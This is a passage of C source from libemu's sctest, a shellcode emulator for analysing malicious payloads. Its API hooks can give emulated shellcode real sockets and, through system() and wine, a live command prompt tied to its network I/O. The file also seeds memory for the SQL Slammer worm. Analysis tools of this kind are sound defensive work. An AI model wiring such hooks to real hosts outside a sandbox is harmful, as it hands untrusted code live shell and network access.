emu_graph_vertex_add(sgraph, nev); niv = instr_vertex_copy(iv); nev->data = niv; emu_hashtable_insert(ht, (void *)iv, nev); ev->color = white; } printf("optimizing graph\n"); for ( ev = emu_vertexes_first(graph->vertexes); !emu_vertexes_attail(ev); ev = emu_vertexes_next(ev) ) { // ignore known if ( ev->color == black ) continue; printf("vertex %p\n", (void *)ev); // find the first in a chain iv = (struct instr_vertex *)ev->data; while ( emu_edges_length(ev->backedges) == 1 && emu_edges_length(ev->edges) <= 1 && ev->color == white && iv->dll == NULL && iv->syscall == NULL ) { ev->color = grey; struct emu_vertex *xev = emu_edges_first(ev->backedges)->destination; iv = (struct instr_vertex *)xev->data; if ( emu_edges_length(xev->backedges) > 1 || emu_edges_length(xev->edges) > 1 || iv->dll != NULL || iv->syscall != NULL ) break; ev = xev; printf(" -> vertex %p\n",(void *)ev); } iv = (struct instr_vertex *)ev->data; // create the new vertex nev = (struct emu_vertex *)emu_hashtable_search(ht, (void *)iv)->value; niv = (struct instr_vertex *)nev->data; iv = (struct instr_vertex *)ev->data; printf("going forwards from %p\n", (void *)ev); while ( emu_edges_length(ev->edges) == 1 && emu_edges_length(ev->backedges) <= 1 && ev->color != black && iv->dll == NULL && iv->syscall == NULL ) { ev->color = black; struct emu_vertex *xev = emu_edges_first(ev->edges)->destination; iv = (struct instr_vertex *)xev->data; if ( emu_edges_length(xev->backedges) > 1 || emu_edges_length(xev->edges) > 1 || iv->dll != NULL || iv->syscall != NULL ) break; ev = xev; iv = (struct instr_vertex *)ev->data; emu_string_append_char(niv->instr_string, emu_string_char(iv->instr_string)); printf(" -> vertex %p\n",(void *)ev); } ev->color = black; printf("copying edges for %p\n",(void *)ev); struct emu_edge *ee; for ( ee = emu_edges_first(ev->edges); !emu_edges_attail(ee); ee = emu_edges_next(ee) ) { struct instr_vertex *ivto = emu_vertex_data_get(ee->destination); struct emu_hashtable_item *ehi = emu_hashtable_search(ht, (void *)ivto); struct emu_vertex *to = (struct emu_vertex *)ehi->value; if ( 1 )// nev != to )//&& to->color != black ) { struct emu_edge *nee = emu_vertex_edge_add(nev, to); nee->count = ee->count; nee->data = ee->data; printf(" -> %p\n", (void *)to); } } } graph->vertex_destructor = instr_vertex_destructor; // emu_graph_free(graph); graph = sgraph; emu_hashtable_free(ht); fprintf(f, "digraph G {\n\t//rankdir=LR\n\tnode [fontname=Courier, labeljust=r];\n"); #if 0 int numdlls=0; while ( env->loaded_dlls[numdlls] != NULL ) { int has_dll = 0; struct emu_string *fs = emu_string_new(); emu_string_append_format(fs, "\t subgraph cluster%i {\n\t\t node [shape=box, style=filled, color=\".7 .3 1.0\"];\n\t\tstyle=filled;\n\t\tcolor=lightgrey;\n\t\tlabel=\"%s\"\n\t\t", numdlls, env->loaded_dlls[numdlls]->dllname); for ( ev = emu_vertexes_first(graph->vertexes); !emu_vertexes_attail(ev); ev = emu_vertexes_next(ev) ) { struct instr_vertex *iv = emu_vertex_data_get(ev); if ( iv->dll == env->loaded_dlls[numdlls] ) { emu_string_append_format(fs, "\t\%i [label = \"%s\"];\n", iv->eip, emu_string_char(iv->instr_string)); has_dll = 1; } } emu_string_append_char(fs, "\t}\n"); fprintf(f, "%s", emu_string_char(fs)); numdlls++; } #endif // 0 for ( ev = emu_vertexes_first(graph->vertexes); !emu_vertexes_attail(ev); ev = emu_vertexes_next(ev) ) { if ( emu_edges_length(ev->edges) == 0 && emu_edges_length(ev->backedges) == 0 ) continue; struct instr_vertex *iv = emu_vertex_data_get(ev); #if 0 if ( iv->dll != NULL ) continue; #endif // 0 if ( iv->dll != NULL || iv->syscall != NULL ) fprintf(f, "\t \"%p\" [shape=box, style=filled, color=\".7 .3 1.0\", label = \"%s\"]\n",(void *)iv, emu_string_char(iv->instr_string)); else fprintf(f, "\t \"%p\" [shape=box, label = \"%s\"]\n",(void *)iv, emu_string_char(iv->instr_string)); } for ( ev = emu_vertexes_first(graph->vertexes); !emu_vertexes_attail(ev); ev = emu_vertexes_next(ev) ) { struct instr_vertex *ivfrom = emu_vertex_data_get(ev); struct emu_edge *ee; for ( ee = emu_edges_first(ev->edges); !emu_edges_attail(ee); ee = emu_edges_next(ee) ) { struct instr_vertex *ivto = emu_vertex_data_get(ee->destination); struct emu_string *fs = emu_string_new(); if ( ee->data != (void *)0x0 ) emu_string_append_format(fs, "\t \"%p\" -> \"%p\" [style = dashed", (void *)ivfrom, (void *)ivto); else emu_string_append_format(fs, "\t \"%p\" -> \"%p\" [style = bold", (void *)ivfrom, (void *)ivto); if ( ee->count > 100 ) emu_string_append_char(fs, ", color=red"); else if ( ee->count > 50 ) emu_string_append_char(fs, ", color=blue"); else if ( ee->count > 25 ) emu_string_append_char(fs, ", color=green"); else if ( ee->count > 1 ) emu_string_append_char(fs, ", color=orange"); emu_string_append_char(fs, " ]\n"); fprintf(f, "%s", emu_string_char(fs)); emu_string_free(fs); } } fprintf(f, "}"); fclose(f); graph->vertex_destructor = instr_vertex_destructor; emu_graph_free(sgraph); // emu_hashtable_free(eh); return 0; } libemu-0.2.0+git20120122+564/tools/sctest/userhooks.c0000644000175300017530000004470311706767213020706 0ustar dt-npbdt-npb/******************************************************************************** * libemu * * - x86 shellcode emulation - * * * Copyright (C) 2007 Paul Baecher & Markus Koetter * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 * of the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. * * * contact nepenthesdev@users.sourceforge.net * *******************************************************************************/ #include "../config.h" #define HAVE_GETOPT_H #ifdef HAVE_GETOPT_H # include #endif #ifdef HAVE_STDLIB_H # include #endif #include #define HAVE_UNISTD #ifdef HAVE_UNISTD # include #endif #include #include #include #include #include #ifdef HAVE_LIBCARGOS #include #endif #include #include #include #include #include #include #include "emu/emu.h" #include "emu/emu_memory.h" #include "emu/emu_cpu.h" #include "emu/emu_log.h" #include "emu/emu_cpu_data.h" #include "emu/emu_cpu_stack.h" #include "emu/environment/emu_profile.h" #include "emu/environment/emu_env.h" #include "emu/environment/win32/emu_env_w32.h" #include "emu/environment/win32/emu_env_w32_dll.h" #include "emu/environment/win32/emu_env_w32_dll_export.h" #include "emu/environment/win32/env_w32_dll_export_kernel32_hooks.h" #include "emu/environment/linux/emu_env_linux.h" #include "emu/emu_getpc.h" #include "emu/emu_graph.h" #include "emu/emu_string.h" #include "emu/emu_hashtable.h" #include "emu/emu_shellcode.h" #include "userhooks.h" #include "options.h" #include "nanny.h" #include #include #include #include #include #include #include uint32_t user_hook_ExitProcess(struct emu_env *env, struct emu_env_hook *hook, ...) { printf("Hook me Captain Cook!\n"); printf("%s:%i %s\n",__FILE__,__LINE__,__FUNCTION__); /* VOID WINAPI ExitProcess( UINT uExitCode ); */ va_list vl; va_start(vl, hook); int exitcode = va_arg(vl, int); va_end(vl); printf("%s(%i)\n", hook->hook.win->fnname, exitcode); opts.steps = 0; return 0; } uint32_t user_hook_ExitThread(struct emu_env *env, struct emu_env_hook *hook, ...) { printf("Hook me Captain Cook!\n"); printf("%s:%i %s\n",__FILE__,__LINE__,__FUNCTION__); /* VOID ExitThread( DWORD dwExitCode ); */ va_list vl; va_start(vl, hook); int exitcode = va_arg(vl, int); va_end(vl); printf("%s(%i)\n", hook->hook.win->fnname, exitcode); opts.steps = 0; return 0; } void append(struct emu_string *to, const char *dir, char *data, int size) { char *saveptr = data; struct emu_string *sanestr = emu_string_new(); int i; for (i=0;idata, "\n", &saveptr); // printf("line %s:%s\n",dir, tok); if (tok != NULL) { emu_string_append_format(to, "%s %s\n", dir, tok); while ( (tok = strtok_r(NULL,"\n",&saveptr)) != NULL ) { emu_string_append_format(to, "%s %s\n", dir, tok); // printf("line %s:%s\n",dir, tok); } } emu_string_free(sanestr); } uint32_t user_hook_CreateProcess(struct emu_env *env, struct emu_env_hook *hook, ...) { printf("Hook me Captain Cook!\n"); printf("%s:%i %s\n",__FILE__,__LINE__,__FUNCTION__); va_list vl; va_start(vl, hook); /* char *pszImageName = */ (void)va_arg(vl, char *); char *pszCmdLine = va_arg(vl, char *); /* void *psaProcess, = */ (void)va_arg(vl, void *); /* void *psaThread, = */ (void)va_arg(vl, void *); /* bool fInheritHandles, = */ (void)va_arg(vl, char *); /* uint32_t fdwCreate, = */ (void)va_arg(vl, uint32_t); /* void *pvEnvironment = */ (void)va_arg(vl, void *); /* char *pszCurDir = */ (void)va_arg(vl, char *); STARTUPINFO *psiStartInfo = va_arg(vl, STARTUPINFO *); PROCESS_INFORMATION *pProcInfo = va_arg(vl, PROCESS_INFORMATION *); va_end(vl); printf("CreateProcess(%s)\n",pszCmdLine); if ( pszCmdLine != NULL && strncasecmp(pszCmdLine, "cmd", 3) == 0 ) { pid_t child; pid_t spy; if ( (spy = fork()) == 0 ) { // spy int in[2]; int out[2]; int err[2]; socketpair( AF_UNIX, SOCK_STREAM, 0, in ); socketpair( AF_UNIX, SOCK_STREAM, 0, out ); socketpair( AF_UNIX, SOCK_STREAM, 0, err ); if ( (child=fork()) == 0 ) { // child close(in[0]); close(out[1]); close(err[1]); dup2(in[1], fileno(stdin)); dup2(out[0], fileno(stdout)); dup2(err[0], fileno(stderr)); int sys = -1; struct emu_hashtable_item *ehi = emu_hashtable_search(opts.override.commands.commands, "cmd"); if ( ehi != NULL ) sys = system((char *)ehi->value); else sys = system("/bin/sh -c \"cd ~/.wine/drive_c/; wine 'c:\\windows\\system32\\cmd_orig.exe' \""); close(in[1]); close(out[0]); close(err[0]); printf("process ended (%i)!\n", sys); exit(EXIT_SUCCESS); } else { struct emu_string *io = emu_string_new(); close(in[1]); close(out[0]); close(err[0]); fd_set socks; fcntl(psiStartInfo->hStdInput,F_SETFL,O_NONBLOCK); fcntl(out[1],F_SETFL,O_NONBLOCK); fcntl(err[1],F_SETFL,O_NONBLOCK); char buf[1048]; while ( 1 ) { FD_ZERO(&socks); FD_SET(psiStartInfo->hStdInput,&socks); FD_SET(out[1],&socks); FD_SET(err[1],&socks); int highsock = MAX(psiStartInfo->hStdInput, MAX(out[1], err[1])); struct timeval timeout = { 10, 0}; int action = select(highsock+1, &socks, NULL, NULL, &timeout); // printf("select %i\n",action); int written = -1; if ( action > 0 ) { if ( FD_ISSET(psiStartInfo->hStdInput, &socks) ) { int size = read(psiStartInfo->hStdInput, buf, 1024); // printf("read %i in '%.*s'\n",size,size,buf); if ( size > 0 ) written = write(in[0], buf, size); else goto exit_now; append(io, "in >", buf, size); } if ( FD_ISSET(out[1], &socks) ) { int size = read(out[1], buf, 1024); // printf("read %i out '%.*s'\n",size,size,buf); if ( size > 0 ) written = write(psiStartInfo->hStdOutput, buf, size); else goto exit_now; append(io, "out <", buf, size); } if ( FD_ISSET(err[1], &socks) ) { int size = read(err[1], buf, 1024); // printf("read %i err '%.*s'\n",size,size,buf); if ( size > 0 ) written = write(psiStartInfo->hStdOutput, buf, size); else goto exit_now; append(io, "err <", buf, size); } if( written == -1 ) goto exit_now; } else { printf("timeout, killing cmd prompt\n"); kill(child, SIGKILL); exit_now: printf("spy dies\n"); printf("session was\n%s\n", emu_string_char(io)); emu_string_free(io); close(in[0]); close(out[1]); close(err[1]); exit(EXIT_SUCCESS); } } } // spy } else { // parent pProcInfo->hProcess = spy; } } return 1; } uint32_t user_hook_WaitForSingleObject(struct emu_env *env, struct emu_env_hook *hook, ...) { printf("Hook me Captain Cook!\n"); printf("%s:%i %s\n",__FILE__,__LINE__,__FUNCTION__); /* DWORD WINAPI WaitForSingleObject( HANDLE hHandle, DWORD dwMilliseconds ); */ va_list vl; va_start(vl, hook); int32_t hHandle = va_arg(vl, int32_t); /*int32_t dwMilliseconds = */ (void)va_arg(vl, int32_t); va_end(vl); int status; while(1) { if (waitpid(hHandle, &status, WNOHANG) != 0) break; sleep(1); } printf("process exited with status %i\n",status); return 0; } uint32_t user_hook_exit(struct emu_env *env, struct emu_env_hook *hook, ...) { printf("Hook me Captain Cook!\n"); printf("%s:%i %s\n",__FILE__,__LINE__,__FUNCTION__); va_list vl; va_start(vl, hook); int code = va_arg(vl, int); va_end(vl); printf("exit(%i)\n",code); opts.steps = 0; return 0; } uint32_t user_hook_accept(struct emu_env *env, struct emu_env_hook *hook, ...) { printf("Hook me Captain Cook!\n"); printf("%s:%i %s\n",__FILE__,__LINE__,__FUNCTION__); va_list vl; va_start(vl, hook); int s = va_arg(vl, int); /*struct sockaddr* addr = */(void)va_arg(vl, struct sockaddr *); /*socklen_t* addrlen = */(void)va_arg(vl, socklen_t *); va_end(vl); struct sockaddr sa; socklen_t st = sizeof(struct sockaddr); return accept(s, &sa, &st); } uint32_t user_hook_bind(struct emu_env *env, struct emu_env_hook *hook, ...) { printf("Hook me Captain Cook!\n"); printf("%s:%i %s\n",__FILE__,__LINE__,__FUNCTION__); va_list vl; va_start(vl, hook); int s = va_arg(vl, int); struct sockaddr* addr = va_arg(vl, struct sockaddr *); socklen_t addrlen = va_arg(vl, socklen_t ); if (opts.override.bind.host != NULL ) { struct sockaddr_in *si = (struct sockaddr_in *)addr; si->sin_addr.s_addr = inet_addr(opts.override.bind.host); } if (opts.override.bind.port > 0) { struct sockaddr_in *si = (struct sockaddr_in *)addr;; si->sin_port = htons(opts.override.bind.port); } va_end(vl); return bind(s, addr, addrlen); } uint32_t user_hook_closesocket(struct emu_env *env, struct emu_env_hook *hook, ...) { printf("Hook me Captain Cook!\n"); printf("%s:%i %s\n",__FILE__,__LINE__,__FUNCTION__); va_list vl; va_start(vl, hook); int s = va_arg(vl, int); va_end(vl); return close(s); } uint32_t user_hook_connect(struct emu_env *env, struct emu_env_hook *hook, ...) { printf("Hook me Captain Cook!\n"); printf("%s:%i %s\n",__FILE__,__LINE__,__FUNCTION__); va_list vl; va_start(vl, hook); int s = va_arg(vl, int); struct sockaddr* addr = va_arg(vl, struct sockaddr *); if (opts.override.connect.host != NULL ) { struct sockaddr_in *si = (struct sockaddr_in *)addr; si->sin_addr.s_addr = inet_addr(opts.override.connect.host); } if (opts.override.connect.port > 0) { struct sockaddr_in *si = (struct sockaddr_in *)addr;; si->sin_port = htons(opts.override.connect.port); } socklen_t addrlen = va_arg(vl, socklen_t); if (addrlen != sizeof(struct sockaddr)) { addrlen = sizeof(struct sockaddr); } va_end(vl); return connect(s, addr, addrlen); } uint32_t user_hook_fclose(struct emu_env *env, struct emu_env_hook *hook, ...) { printf("Hook me Captain Cook!\n"); printf("%s:%i %s\n",__FILE__,__LINE__,__FUNCTION__); //int fclose(FILE *fp); va_list vl; va_start(vl, hook); FILE *f = va_arg(vl, FILE *); va_end(vl); struct nanny_file *nf = nanny_get_file(hook->hook.win->userdata, (uint32_t)(uintptr_t)f); if (nf != NULL) { FILE *ef = nf->real_file; nanny_del_file(hook->hook.win->userdata, (uint32_t)(uintptr_t)f); return fclose(ef); } else return 0; } uint32_t user_hook_fopen(struct emu_env *env, struct emu_env_hook *hook, ...) { printf("Hook me Captain Cook!\n"); printf("%s:%i %s\n",__FILE__,__LINE__,__FUNCTION__); va_list vl; va_start(vl, hook); char *filename = va_arg(vl, char *); /*char *mode = */(void)va_arg(vl, char *); va_end(vl); char *localfile; if ( asprintf(&localfile, "/tmp/%s-XXXXXX",filename) == -1) exit(-1); int fd = mkstemp(localfile); close(fd); FILE *f = fopen(localfile,"w"); uint32_t file; nanny_add_file(hook->hook.win->userdata, localfile, &file, f); return file; } uint32_t user_hook_fwrite(struct emu_env *env, struct emu_env_hook *hook, ...) { printf("Hook me Captain Cook!\n"); printf("%s:%i %s\n",__FILE__,__LINE__,__FUNCTION__); /* size_t fwrite(const void *ptr, size_t size, size_t nmemb, FILE *stream); */ va_list vl; va_start(vl, hook); void *data = va_arg(vl, void *); size_t size = va_arg(vl, size_t); size_t nmemb = va_arg(vl, size_t); FILE *f = va_arg(vl, FILE *); va_end(vl); struct nanny_file *nf = nanny_get_file(hook->hook.win->userdata, (uint32_t)(uintptr_t)f); if (nf != NULL) return fwrite(data, size, nmemb, nf->real_file); else return size*nmemb; } uint32_t user_hook_listen(struct emu_env *env, struct emu_env_hook *hook, ...) { printf("Hook me Captain Cook!\n"); printf("%s:%i %s\n",__FILE__,__LINE__,__FUNCTION__); va_list vl; va_start(vl, hook); int s = va_arg(vl, int); int backlog = va_arg(vl, int); va_end(vl); return listen(s, backlog); } uint32_t user_hook_recv(struct emu_env *env, struct emu_env_hook *hook, ...) { printf("Hook me Captain Cook!\n"); printf("%s:%i %s\n",__FILE__,__LINE__,__FUNCTION__); va_list vl; va_start(vl, hook); int s = va_arg(vl, int); char* buf = va_arg(vl, char *); int len = va_arg(vl, int); int flags = va_arg(vl, int); va_end(vl); return recv(s, buf, len, flags); } uint32_t user_hook_send(struct emu_env *env, struct emu_env_hook *hook, ...) { printf("Hook me Captain Cook!\n"); printf("%s:%i %s\n",__FILE__,__LINE__,__FUNCTION__); va_list vl; va_start(vl, hook); int s = va_arg(vl, int); char* buf = va_arg(vl, char *); int len = va_arg(vl, int); int flags = va_arg(vl, int); va_end(vl); return send(s, buf, len, flags); } uint32_t user_hook_socket(struct emu_env *env, struct emu_env_hook *hook, ...) { printf("Hook me Captain Cook!\n"); printf("%s:%i %s\n",__FILE__,__LINE__,__FUNCTION__); va_list vl; va_start(vl, hook); /* int socket(int domain, int type, int protocol); */ int domain = va_arg(vl, int); int type = va_arg(vl, int); int protocol = va_arg(vl, int); va_end(vl); printf("socket(%i, %i, %i)\n",domain, type, protocol); return socket(domain, type, protocol); } uint32_t user_hook_WSASocket(struct emu_env *env, struct emu_env_hook *hook, ...) { printf("Hook me Captain Cook!\n"); printf("%s:%i %s\n",__FILE__,__LINE__,__FUNCTION__); va_list vl; va_start(vl, hook); /* int socket(int domain, int type, int protocol); */ int domain = va_arg(vl, int); int type = va_arg(vl, int); int protocol = va_arg(vl, int); (void)va_arg(vl, int); (void)va_arg(vl, int); (void)va_arg(vl, int); va_end(vl); printf("WSASocket(%i, %i, %i)\n",domain, type, protocol); return socket(domain, type, protocol); } uint32_t user_hook_CreateFile(struct emu_env *env, struct emu_env_hook *hook, ...) { printf("Hook me Captain Cook!\n"); printf("%s:%i %s\n",__FILE__,__LINE__,__FUNCTION__); /* HANDLE CreateFile( LPCTSTR lpFileName, DWORD dwDesiredAccess, DWORD dwShareMode, LPSECURITY_ATTRIBUTES lpSecurityAttributes, DWORD dwCreationDisposition, DWORD dwFlagsAndAttributes, HANDLE hTemplateFile ); */ va_list vl; va_start(vl, hook); char *lpFileName = va_arg(vl, char *); /*int dwDesiredAccess =*/(void)va_arg(vl, int); /*int dwShareMode =*/(void)va_arg(vl, int); /*int lpSecurityAttributes =*/(void)va_arg(vl, int); /*int dwCreationDisposition =*/(void)va_arg(vl, int); /*int dwFlagsAndAttributes =*/(void)va_arg(vl, int); /*int hTemplateFile =*/(void)va_arg(vl, int); va_end(vl); char *localfile; if ( asprintf(&localfile, "/tmp/%s-XXXXXX",lpFileName) == -1) exit(-1); int fd = mkstemp(localfile); close(fd); FILE *f = fopen(localfile,"w"); uint32_t handle; nanny_add_file(hook->hook.win->userdata, localfile, &handle, f); return (uint32_t)handle; } uint32_t user_hook_WriteFile(struct emu_env *env, struct emu_env_hook *hook, ...) { printf("Hook me Captain Cook!\n"); printf("%s:%i %s\n",__FILE__,__LINE__,__FUNCTION__); /* BOOL WriteFile( HANDLE hFile, LPCVOID lpBuffer, DWORD nNumberOfBytesToWrite, LPDWORD lpNumberOfBytesWritten, LPOVERLAPPED lpOverlapped ); */ va_list vl; va_start(vl, hook); FILE *hFile = va_arg(vl, FILE *); void *lpBuffer = va_arg(vl, void *); int nNumberOfBytesToWrite = va_arg(vl, int); /* int *lpNumberOfBytesWritten =*/(void)va_arg(vl, int*); /* int *lpOverlapped =*/(void)va_arg(vl, int*); va_end(vl); struct nanny_file *nf = nanny_get_file(hook->hook.win->userdata, (uint32_t)(uintptr_t)hFile); if (nf != NULL) { if( fwrite(lpBuffer, nNumberOfBytesToWrite, 1, nf->real_file) != 1 ) return 0; } else printf("shellcode tried to write data to not existing handle\n"); return 1; } uint32_t user_hook_CloseHandle(struct emu_env *env, struct emu_env_hook *hook, ...) { printf("Hook me Captain Cook!\n"); printf("%s:%i %s\n",__FILE__,__LINE__,__FUNCTION__); /* BOOL CloseHandle( HANDLE hObject ); */ va_list vl; va_start(vl, hook); FILE *hObject = va_arg(vl, FILE *); va_end(vl); struct nanny_file *nf = nanny_get_file(hook->hook.win->userdata, (uint32_t)(uintptr_t)hObject); if (nf != NULL) { FILE *f = nf->real_file; nanny_del_file(hook->hook.win->userdata, (uint32_t)(uintptr_t)hObject); fclose(f); } else { printf("shellcode tried to close not existing handle (maybe closed it already?)\n"); } return 0; } uint32_t user_hook_URLDownloadToFile(struct emu_env *env, struct emu_env_hook *hook, ...) { printf("Hook me Captain Cook!\n"); printf("%s:%i %s\n",__FILE__,__LINE__,__FUNCTION__); va_list vl; va_start(vl, hook); /*void * pCaller = */(void)va_arg(vl, void *); char * szURL = va_arg(vl, char *); char * szFileName = va_arg(vl, char *); /*int dwReserved = */(void)va_arg(vl, int ); /*void * lpfnCB = */(void)va_arg(vl, void *); va_end(vl); printf("download %s -> %s\n", szURL, szFileName); return 0; } uint32_t user_hook_IEWinMain(struct emu_env *env, struct emu_env_hook *hook, ...) { printf("Hook me Captain Cook!\n"); printf("%s:%i %s\n",__FILE__,__LINE__,__FUNCTION__); va_list vl; va_start(vl, hook); /*char *CommandLine =*/ (void)va_arg(vl, char *); /*int nShowWindow =*/ (void)va_arg(vl, int); va_end(vl); opts.steps = 0; return 0; } libemu-0.2.0+git20120122+564/tools/sctest/Makefile.am0000644000175300017530000000124011706767213020541 0ustar dt-npbdt-npbAUTOMAKE_OPTIONS = foreign AM_CPPFLAGS = -I../../include -I ../../.. -Werror -Wall -g AM_LDFLAGS = -lemu -L../../src # if you want to compile without tests, uncomment the following line: #AM_CPPFLAGS += -D_NO_TESTS bin_PROGRAMS = sctest sctest_CPPFLAGS = ${LIB_CARGOS_INCDIR} ${AM_CPPFLAGS} sctest_LDFLAGS = ${LIB_CARGOS} ${LIB_CARGOS_LIBDIR} ${AM_LDFLAGS} sctest_LDADD = ../../src/libemu.la sctest_SOURCES = dot.c sctest_SOURCES += dot.h sctest_SOURCES += sctestmain.c sctest_SOURCES += tests.c sctest_SOURCES += tests.h sctest_SOURCES += userhooks.c sctest_SOURCES += userhooks.h sctest_SOURCES += nanny.c sctest_SOURCES += nanny.h sctest_SOURCES += options.h libemu-0.2.0+git20120122+564/tools/sctest/nanny.h0000644000175300017530000000125011706767213020002 0ustar dt-npbdt-npb#include #include #include struct nanny_file { bool active; char *path; uint32_t emu_file; FILE *real_file; }; /* struct nanny_socket { bool active; int socket; }; struct nanny_children { int pid; }; */ struct nanny { struct emu_hashtable *files; /* struct emu_hashtable *sockets; struct emu_hashtable *children; */ }; struct nanny *nanny_new(void); void nanny_free(struct nanny *nanny); struct nanny_file *nanny_add_file(struct nanny *na, const char *path, uint32_t *emu_file, FILE *real_file); struct nanny_file *nanny_get_file(struct nanny *na, uint32_t emu_file); bool nanny_del_file(struct nanny *na, uint32_t emu_file); libemu-0.2.0+git20120122+564/tools/sctest/sctestmain.c0000644000175300017530000005470711706767213021043 0ustar dt-npbdt-npb/******************************************************************************** * libemu * * - x86 shellcode emulation - * * * Copyright (C) 2007 Paul Baecher & Markus Koetter * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 * of the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. * * * contact nepenthesdev@users.sourceforge.net * *******************************************************************************/ #include "../config.h" #define HAVE_GETOPT_H #ifdef HAVE_GETOPT_H # include #endif #ifdef HAVE_STDLIB_H # include #endif #include #define HAVE_UNISTD #ifdef HAVE_UNISTD # include #endif #include #include #include #ifdef HAVE_LIBCARGOS #include #endif #include #include #include #include #include #include #include "emu/emu.h" #include "emu/emu_memory.h" #include "emu/emu_cpu.h" #include "emu/emu_log.h" #include "emu/emu_cpu_data.h" #include "emu/emu_cpu_stack.h" #include "emu/environment/emu_profile.h" #include "emu/environment/emu_env.h" #include "emu/environment/win32/emu_env_w32.h" #include "emu/environment/win32/emu_env_w32_dll.h" #include "emu/environment/win32/emu_env_w32_dll_export.h" #include "emu/environment/win32/env_w32_dll_export_kernel32_hooks.h" #include "emu/environment/linux/emu_env_linux.h" #include "emu/emu_getpc.h" #include "emu/emu_graph.h" #include "emu/emu_string.h" #include "emu/emu_hashtable.h" #include "emu/emu_shellcode.h" #define CODE_OFFSET 0x417000 #define FAILED "\033[31;1mfailed\033[0m" #define SUCCESS "\033[32;1msuccess\033[0m" #define F(x) (1 << (x)) #include "userhooks.h" #include "options.h" #include "dot.h" #include "tests.h" #include "nanny.h" struct run_time_options opts; /* static const char *regm[] = { "eax", "ecx", "edx", "ebx", "esp", "ebp", "esi", "edi" }; // 0 1 2 3 4 5 6 7 static const char *flags[] = { "CF", " ", "PF", " " , "AF" , " ", "ZF", "SF", "TF", "IF", "DF", "OF" , "IOPL", "IOPL", "NT", " ", "RF", "VM", "AC", "VIF", "RIP" , "ID" , " ", " ", " ", " ", " ", " ", " ", " ", " ", " "}; */ int graph_draw(struct emu_graph *graph); int test(struct emu *e) { // int i=0; struct emu_cpu *cpu = emu_cpu_get(e); struct emu_memory *mem = emu_memory_get(e); struct emu_env *env = emu_env_new(e); env->profile = emu_profile_new(); struct nanny *na = nanny_new(); /* IAT for sqlslammer */ emu_memory_write_dword(mem, 0x42AE1018, 0x7c801D77); emu_memory_write_dword(mem, 0x42ae1010, 0x7c80ADA0); emu_memory_write_dword(mem, 0x7c80ADA0, 0x51EC8B55); emu_memory_write_byte(mem, 0x7c814eeb, 0xc3); if ( env == NULL ) { printf("%s \n", emu_strerror(e)); printf("%s \n", strerror(emu_errno(e))); return -1; } emu_env_w32_export_hook(env, "ExitProcess", user_hook_ExitProcess, NULL); emu_env_w32_export_hook(env, "ExitThread", user_hook_ExitThread, NULL); emu_env_w32_load_dll(env->env.win,"shdocvw.dll"); emu_env_w32_export_hook(env, "IEWinMain", user_hook_IEWinMain, NULL); if ( opts.interactive == true ) { emu_env_w32_load_dll(env->env.win,"msvcrt.dll"); emu_env_w32_export_hook(env, "fclose", user_hook_fclose, na); emu_env_w32_export_hook(env, "fopen", user_hook_fopen, na); emu_env_w32_export_hook(env, "fwrite", user_hook_fwrite, na); emu_env_w32_export_hook(env, "CreateProcessA", user_hook_CreateProcess, NULL); emu_env_w32_export_hook(env, "WaitForSingleObject", user_hook_WaitForSingleObject, NULL); emu_env_w32_export_hook(env, "CreateFileA", user_hook_CreateFile, na); emu_env_w32_export_hook(env, "WriteFile", user_hook_WriteFile, na); emu_env_w32_export_hook(env, "CloseHandle", user_hook_CloseHandle, na); emu_env_w32_load_dll(env->env.win,"ws2_32.dll"); emu_env_w32_export_hook(env, "accept", user_hook_accept, NULL); emu_env_w32_export_hook(env, "bind", user_hook_bind, NULL); emu_env_w32_export_hook(env, "closesocket", user_hook_closesocket, NULL); emu_env_w32_export_hook(env, "connect", user_hook_connect, NULL); emu_env_w32_export_hook(env, "listen", user_hook_listen, NULL); emu_env_w32_export_hook(env, "recv", user_hook_recv, NULL); emu_env_w32_export_hook(env, "send", user_hook_send, NULL); emu_env_w32_export_hook(env, "socket", user_hook_socket, NULL); emu_env_w32_export_hook(env, "WSASocketA", user_hook_WSASocket, NULL); emu_env_w32_load_dll(env->env.win,"urlmon.dll"); emu_env_w32_export_hook(env, "URLDownloadToFileA", user_hook_URLDownloadToFile, NULL); emu_env_linux_syscall_hook(env, "exit", user_hook_exit, NULL); emu_env_linux_syscall_hook(env, "socket", user_hook_socket, NULL); } /* uint32_t x; for (x=0x7c800000;x<0x7c902400;x++) { uint8_t b; emu_memory_read_byte(mem,x,&b); printf("%02x ",b); if (x % 16 == 0) { printf("\n"); } } return 0; */ int j=0; /* run the code */ if( opts.verbose != 0 ) emu_cpu_debugflag_set(cpu, instruction_string); if ( opts.verbose >= 2 ) { emu_log_level_set(emu_logging_get(e),EMU_LOG_DEBUG); emu_cpu_debug_print(cpu); emu_log_level_set(emu_logging_get(e),EMU_LOG_NONE); } struct emu_vertex *last_vertex = NULL; struct emu_graph *graph = NULL; struct emu_hashtable *eh = NULL; struct emu_hashtable_item *ehi = NULL; if ( opts.graphfile != NULL ) { graph = emu_graph_new(); eh = emu_hashtable_new(2047, emu_hashtable_ptr_hash, emu_hashtable_ptr_cmp); } int ret; //= emu_cpu_run(emu_cpu_get(e)); uint32_t eipsave = 0; for ( j=0;j 2 ) { emu_log_level_set(emu_logging_get(e),EMU_LOG_DEBUG); emu_cpu_debug_print(cpu); emu_log_level_set(emu_logging_get(e),EMU_LOG_NONE); } if ( cpu->repeat_current_instr == false ) eipsave = emu_cpu_eip_get(emu_cpu_get(e)); struct emu_env_hook *hook = NULL; struct emu_vertex *ev = NULL; struct instr_vertex *iv = NULL; ret = 0; if ( opts.graphfile != NULL ) { ehi = emu_hashtable_search(eh, (void *)(uintptr_t)eipsave); if ( ehi != NULL ) ev = (struct emu_vertex *)ehi->value; if ( ev == NULL ) { 